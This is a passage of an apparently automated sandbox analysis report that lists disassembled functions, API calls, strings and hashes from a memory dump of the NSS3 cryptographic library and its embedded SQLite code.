PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C70C015

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C70C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C70C04D

Part of subcall function 6C7569E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C756A47
Part of subcall function 6C7569E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C756A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C70C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C70C07B

Part of subcall function 6C708980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C707310), ref: 6C7089B8
Part of subcall function 6C708980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C707310), ref: 6C7089E6
Part of subcall function 6C708980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C708A00
Part of subcall function 6C708980: CERT_CopyRDN.NSS3(00000004,00000000,6C707310,?,?,00000004,?), ref: 6C708A1B
Part of subcall function 6C708980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C708A74

Part of subcall function 6C701D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C70C097,00000000,000000B0,?), ref: 6C701D2C
Part of subcall function 6C701D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C70C09B,00000000,00000000,00000000,?,6C70C097,00000000,000000B0,?), ref: 6C701D3F
Part of subcall function 6C701D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C70C087,00000000,000000B0,?), ref: 6C701D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C70C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C70C0C9

Part of subcall function 6C712DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C70C0D2,6C70C0CE,00000000,-000000D4,?), ref: 6C712DF5
Part of subcall function 6C712DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C70C0CE,00000000,-000000D4,?), ref: 6C712E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C70C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70C0E3

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 62f2abf1864cd2258ed80a522f760f49b37616b6f247c7aa7e8da63cc9ee4753
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 3A2153E674010567FB006A61AE89FEB36AC9B4175DF084034FD04D9A46FB25D919C373

Function 6C702E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C702CDA,?,00000000), ref: 6C702E1E

Part of subcall function 6C75FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C709003,?), ref: 6C75FD91
Part of subcall function 6C75FD80: PORT_Alloc_Util.NSS3(A4686C76,?), ref: 6C75FDA2
Part of subcall function 6C75FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C76,?,?), ref: 6C75FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C702E33

Part of subcall function 6C75FD80: free.MOZGLUE(00000000,?,?), ref: 6C75FDD1

TlsGetValue.KERNEL32 ref: 6C702E4E
EnterCriticalSection.KERNEL32(?), ref: 6C702E5E
PL_HashTableLookup.NSS3(?), ref: 6C702E71
PL_HashTableRemove.NSS3(?), ref: 6C702E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C702E96
PR_Unlock.NSS3 ref: 6C702EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C702EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C702EC5

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 0eedcd278129a1fb0d1eef6fce82c7630a4cf945cf2b87cc5783493a6345c99d
Instruction ID: 58fa96d8d33341c5d0edae5b4a8ab3f2c7ad9ed09335d6ee64da9117a3118c8d
Opcode Fuzzy Hash: 0eedcd278129a1fb0d1eef6fce82c7630a4cf945cf2b87cc5783493a6345c99d
Instruction Fuzzy Hash: 552107B2E40101A7EF111B25DD0DAAB3AB9EB5235DF140170ED1882712FB32D569C7E2

Function 6C6EFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6EFD18
sqlite3_initialize.NSS3 ref: 6C6EFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6EFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C6EFD99
sqlite3_free.NSS3(00000000), ref: 6C6EFE3C
sqlite3_free.NSS3(?), ref: 6C6EFEE3
sqlite3_free.NSS3(?), ref: 6C6EFEEE

Strings

simple, xrefs: 6C6EFC79

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: daed3144ba34dc3fa538d517997786fc56f5a2dd4e61d240870586f75c73d74e
Instruction ID: a73b66d2906c763e0c731dcb41cdf67467ad543f51097fd0e9f48fc617743e4c
Opcode Fuzzy Hash: daed3144ba34dc3fa538d517997786fc56f5a2dd4e61d240870586f75c73d74e
Instruction Fuzzy Hash: 5491B5B0E062059FDB04CF55D880AAAFBF1FF89318F24C56AD8199B752D731E902CB95

Function 6C6F5CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6F5EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6F5EED

Strings

API call with %s database connection pointer, xrefs: 6C6F5EC3
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C6F5E64
invalid, xrefs: 6C6F5EBE
%s at line %d of [%.10s], xrefs: 6C6F5EE0
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F5ED1
misuse, xrefs: 6C6F5EDB

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 07d0e0508a83687ef75b41289a50a6352f45bf652285841c4fb3b93acced5756
Instruction ID: 993b2002747fdff1d6e2096486cac26014bf525d0b290649534c039adf4f7a5d
Opcode Fuzzy Hash: 07d0e0508a83687ef75b41289a50a6352f45bf652285841c4fb3b93acced5756
Instruction Fuzzy Hash: FA81B130B076119BEB198E15C848BAA77B2BF4270CF198269D8255BB51C730EC43CBED

Function 6C6DDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6DDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6DDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6DDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C6DDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6DDF78

Strings

database corruption, xrefs: 6C6DDE5C, 6C6DDE8B
%s at line %d of [%.10s], xrefs: 6C6DDE61, 6C6DDE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6DDE52, 6C6DDE81

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: db3017bd3fdb4a0d527e2ccdf42e4cc2ee91930417b68b7a5b5cad222e424a76
Instruction ID: ac46b0ca57a66bfc453108ebe0c7d21b207417f00092de4cc0b7030810110ab0
Opcode Fuzzy Hash: db3017bd3fdb4a0d527e2ccdf42e4cc2ee91930417b68b7a5b5cad222e424a76
Instruction Fuzzy Hash: 3281D9716043119FDB14EF25C880B6A77F1BF85308F16886DE89987B51E731F845CBA6

Function 6C68CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C68B999), ref: 6C68CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C68B999), ref: 6C68D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C68B999), ref: 6C68D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C68B999), ref: 6C7D972B

Strings

database corruption, xrefs: 6C68CFE7, 6C68D013, 6C68D028, 6C68D039, 6C68D03E, 6C7D9786
%s at line %d of [%.10s], xrefs: 6C68CFEC, 6C68D018, 6C68D029, 6C68D03F, 6C7D978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C68CFDD, 6C68D00E, 6C68D022, 6C68D033, 6C7D9780

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 6cc8122b79b5f0bc58e3f4e425b87eba7eb9f2da2313f15a692fc9941a7f228c
Instruction ID: 60c37a0a37bb024cfff0b1940b4e029f2b397d1828b1fb18dde6393b653b7cb8
Opcode Fuzzy Hash: 6cc8122b79b5f0bc58e3f4e425b87eba7eb9f2da2313f15a692fc9941a7f228c
Instruction Fuzzy Hash: B9615971A042209BD310CF29C900BA7B7F1EF95318F1986ADE4499BB42D376E847C7E5

Function 6C78FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C795B40: PR_GetIdentitiesLayer.NSS3 ref: 6C795B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C790113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C790130
PORT_Alloc_Util.NSS3(00000040), ref: 6C79015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C7901AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C790202
free.MOZGLUE(?), ref: 6C790224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C790253

Strings

exporter, xrefs: 6C7900F7

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 0a8bc881da49a3ed3b051c89bc88cac46b0a80b3cf7c222c6e1360e3fbd20afa
Instruction ID: e87d9eee3ba9a83ebd5b4d88bfc8519b0d0d501b0fe4a790f81ab6122a476411
Opcode Fuzzy Hash: 0a8bc881da49a3ed3b051c89bc88cac46b0a80b3cf7c222c6e1360e3fbd20afa
Instruction Fuzzy Hash: BE6134719003899BEF118FA8EE08BEE77B6FF4834CF144238E91A56651E731A954CB41

Function 6C764DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C76536F,00000022,?,?,00000000,?), ref: 6C764E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C764F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C764F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C764FAE
free.MOZGLUE(?), ref: 6C764FC8

Strings

%s=%s, xrefs: 6C764F89
%s=%c%s%c, xrefs: 6C764FA9
oSvl", xrefs: 6C764DFB, 6C764EF4, 6C764EC5

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSvl"
API String ID: 2709355791-1883948470
Opcode ID: 221691c203c2a318b34de709888bce658b95a63137842f322950838bac3c94ec
Instruction ID: ae9ef4ba140676945009b22616c34bb4eee5df94caa45139dfee78e9cae2c2d2
Opcode Fuzzy Hash: 221691c203c2a318b34de709888bce658b95a63137842f322950838bac3c94ec
Instruction Fuzzy Hash: 07513831A452458BEF01CA6BC6B07FF7BF99F46308F188136EC94A7F41D32588499791

Function 6C78EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C7AA4A1,?,00000000,?,00000001), ref: 6C78EF6D

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

htonl.WSOCK32(00000000,?,6C7AA4A1,?,00000000,?,00000001), ref: 6C78EFE4
htonl.WSOCK32(?,00000000,?,6C7AA4A1,?,00000000,?,00000001), ref: 6C78EFF1
memcpy.VCRUNTIME140(?,?,6C7AA4A1,?,00000000,?,6C7AA4A1,?,00000000,?,00000001), ref: 6C78F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C7AA4A1,?,00000000,?,00000001), ref: 6C78F027

Strings

dtls13, xrefs: 6C78EF33

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 70fafa5c8eff8ea70eadb849587cfa1059ba36d1e1d12e8369c726b3ba5d8ed0
Instruction ID: 37b7c83d2a38bd6bfd8ada1fa92cbc269279eec9304f6ddcf4cd5809629ecc69
Opcode Fuzzy Hash: 70fafa5c8eff8ea70eadb849587cfa1059ba36d1e1d12e8369c726b3ba5d8ed0
Instruction Fuzzy Hash: 8E314475A02215AFC710CF28CE84B8AB7E4EF49358F158039E9189BB51E731E815CBE1

Function 6C70AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C70AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C829500,6C703F91), ref: 6C70AFD2

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

DER_GetInteger_Util.NSS3(?), ref: 6C70B007

Part of subcall function 6C756A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C701666,?,6C70B00C,?), ref: 6C756AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C70B02F
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C70B046
PL_FreeArenaPool.NSS3 ref: 6C70B058
PL_FinishArenaPool.NSS3 ref: 6C70B060

Strings

security, xrefs: 6C70AFB8

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 8557edba4ab10d03e67e8680cbd7df6e46847ec2f47d4311aecf4578b6b542f7
Instruction ID: b9411e84d05fd1ec948e9602e72e1c42252afae706242d57089ffcb825598352
Opcode Fuzzy Hash: 8557edba4ab10d03e67e8680cbd7df6e46847ec2f47d4311aecf4578b6b542f7
Instruction Fuzzy Hash: 4E314CB06043009BD7208F14DE48BAA77E4AF8676CF504A69F8745BBC1E736A309C797

Function 6C703E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C7040D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C703F7F,?,00000055,?,?,6C701666,?,?), ref: 6C7040D9
Part of subcall function 6C7040D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C701666,?,?), ref: 6C7040FC
Part of subcall function 6C7040D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C701666,?,?), ref: 6C704138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C703EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C703ED6

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C703EEE

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C703F02
PL_FreeArenaPool.NSS3 ref: 6C703F14
PL_FinishArenaPool.NSS3 ref: 6C703F1C

Part of subcall function 6C7664F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C76127C,00000000,00000000,00000000), ref: 6C76650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C703F27

Strings

security, xrefs: 6C703EBC

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 935ba537dc96562642d3f969817fdf63b61e9442a944089f73250fa584bfa2da
Instruction ID: 6fc9c42d5b0311e2f13885ded6ba45c189f23c0063ae00a76e12e20007efa91b
Opcode Fuzzy Hash: 935ba537dc96562642d3f969817fdf63b61e9442a944089f73250fa584bfa2da
Instruction Fuzzy Hash: 2921F8B2A04300ABD7148B15AD09FAB77A8BB4971CF44093DF959A7B41E730E618879A

Function 6C74CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C74CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C74CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C74D079

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
